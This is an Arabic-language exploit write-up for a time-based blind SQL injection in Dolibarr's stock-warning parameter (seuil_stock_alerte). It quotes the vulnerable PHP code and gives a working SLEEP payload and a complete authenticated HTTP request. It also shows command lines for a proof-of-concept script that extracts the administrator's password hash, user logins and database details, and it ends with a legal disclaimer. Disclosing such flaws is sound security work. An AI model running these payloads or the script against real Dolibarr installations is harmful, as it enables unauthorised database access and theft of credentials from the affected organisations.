
الإجراء المسؤول عن تعيين حد تنبيه المخزون لكل مستودع (`seuil_stock_alerte`) يقبل مدخلات يتحكم بها المستخدم ثم يدمجها لاحقًا في استعلام SQL دون تحويل رقمي مناسب أو ربط بالمعاملات. #dolibarr #exploit
حقن SQL يؤثر على وظيفة إدارة مخزون المنتجات من خلال
معامل seuil_stock_alerte.
تم اختباره وتأكيده على:
seuil_stock_alerte
يتم قبول المعامل بواسطة:
/product/stock/product.php
باستخدام إجراء addlimitstockwarehouse.
يتم استرجاع المعامل دون تحويل رقمي:
$seuil_stock_alerte = GETPOST('seuil_stock_alerte');
$pse->seuil_stock_alerte = $seuil_stock_alerte;
ثم يصل لاحقًا إلى عبارة SQL من خلال دمج النصوص المباشر:
$sql .= ' seuil_stock_alerte = '.
(isset($this->seuil_stock_alerte)
? $this->seuil_stock_alerte
: "null").',';
نظرًا لأن القيمة تُدرج في سياق رقمي غير محاط بعلامات اقتباس، يمكن توفير تعبير SQL بدلاً من قيمة رقمية عادية.
يكفي تعبير منطقي/زمني لإثبات التنفيذ:
(SELECT IF((1=1),SLEEP(15),0))
مثال على المعامل:
seuil_stock_alerte=(SELECT IF((1=1),SLEEP(15),0))
يُنتج الطلب الناجح تأخيرًا في استجابة HTTP يبلغ حوالي 15 ثانية، مما يؤكد تقييم تعبير SQL المحقون.
يمكن الوصول إلى الإجراء المصاب بطلب مُصادق عليه مشابه لـ:
POST /product/stock/product.php?id=1 HTTP/1.1
Host: target
Cookie: DOLSESSID_xxxxx=<session>
Content-Type: application/x-www-form-urlencoded
action=addlimitstockwarehouse&token=<csrf>&id=1&fk_entrepot=1&desiredstock=1&seuil_stock_alerte=(SELECT IF((1=1),SLEEP(15),0))
المتطلبات:
تم إعادة إنتاج المشكلة بحساب مُصادق عليه يمتلك فقط:
Product → Create (produit/creer)
صلاحية — حساب منخفض الصلاحيات يمكنه إنشاء المنتجات.
يتيح حقن SQL ما يلي:
منعت قيود مستوى قاعدة البيانات في هذا النظام تنفيذ أوامر نظام التشغيل مباشرة.
يقوم نص إثبات المفهوم المرفق stock_sqli_poc.py بأتمتة عملية الاستغلال:
python3 stock_sqli_poc.py \
--url http://127.0.0.1:8088 \
--proxy http://127.0.0.1:8080 \
--login webeditor \
--password 'WebEdit0r!' \
--product-id 1 \
--warehouse-id 1 \
--extract "(SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1)" \
--length 14
| الخيار | الافتراضي | الوصف |
|---|---|---|
--url | http://127.0.0.1:8088 | عنوان URL لنسخة Dolibarr المستهدفة |
--proxy | http://127.0.0.1:8080 | وكيل HTTP (Burp، إلخ). اضبطه على سلسلة فارغة للتعطيل |
--login | webeditor | اسم المستخدم للحساب منخفض الصلاحيات |
--password | WebEdit0r! | كلمة مرور الحساب |
--product-id | 1 | معرّف المنتج المستهدف |
--warehouse-id | 1 | معرّف المستودع المستهدف |
--delay | 1.0 | مدة SLEEP بالثواني للكشف المعتمد على الوقت |
--extract | (SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1) | تعبير SQL المراد استخراجه |
--length | 14 | الحد الأقصى لطول الأحرف المراد استخراجها |
استخراج تجزئة كلمة مرور المسؤول:
--extract "(SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1)"
تعداد المستخدمين:
--extract "(SELECT GROUP_CONCAT(login) FROM llx_user)"
إصدار قاعدة البيانات:
--extract "VERSION()"
مستخدم قاعدة البيانات الحالي:
--extract "USER()"
⚠️ إشعار قانوني: استخدم هذا الاستغلال فقط ضد الأنظمة التي لديك إذن كتابي صريح بشأنها. الوصول غير المصرح به إلى أنظمة الحاسوب غير قانوني. يتم توفير إثبات المفهوم هذا لأغراض تعليمية واختبار أمني مصرح به فقط.